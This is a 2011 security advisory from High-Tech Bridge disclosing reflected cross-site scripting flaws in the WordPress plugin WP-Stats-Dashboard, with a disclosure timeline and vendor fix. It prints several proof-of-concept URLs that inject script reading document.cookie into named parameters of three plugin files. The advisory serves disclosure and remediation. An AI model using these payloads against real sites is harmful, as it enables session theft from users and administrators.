Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in WP-Stats-Dashboard

Advisory ID:HTB23035
Product:WP-Stats-Dashboard
Vendor:Dave Ligthart
Vulnerable Versions:2.6.5.1 and probably prior
Tested Version:2.6.5.1
Advisory Publication:July 27, 2011 [without technical details]
Vendor Notification:July 27, 2011
Public Disclosure:August 17, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WP-Stats-Dashboard which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in WP-Stats-Dashboard
1.1 The vulnerability exists due to input sanitation error in the "icon", "url", "name", "type", "code" and "username" parameters in wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation examples:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile _type.php?icon=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?url=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/p lugins/wp-stats-dashboard/view/admin/admin_profile_type.php?name=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?type=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?code=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?code=200&usern ame=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to input sanitation error in the "onchange" parameter in wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select-trend.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation example:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select -trend.php?onchange=%3E% 3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
1.3 The vulnerability exists due to input sanitation error in the "submenu" parameter in wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submenu.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation example:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submen u.php?submenu[%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E]

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23035 - https://www.immuniweb.com/advisory/HTB23035 - Cross-site Scripting (XSS) Vulnerabilities in WP-Stats-Dashboard
[2] WP-Stats-Dashboard - daveligthart.com - Displays the WordPress.com stats graph, your traffic and social metrics monitoring on your dashboard.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential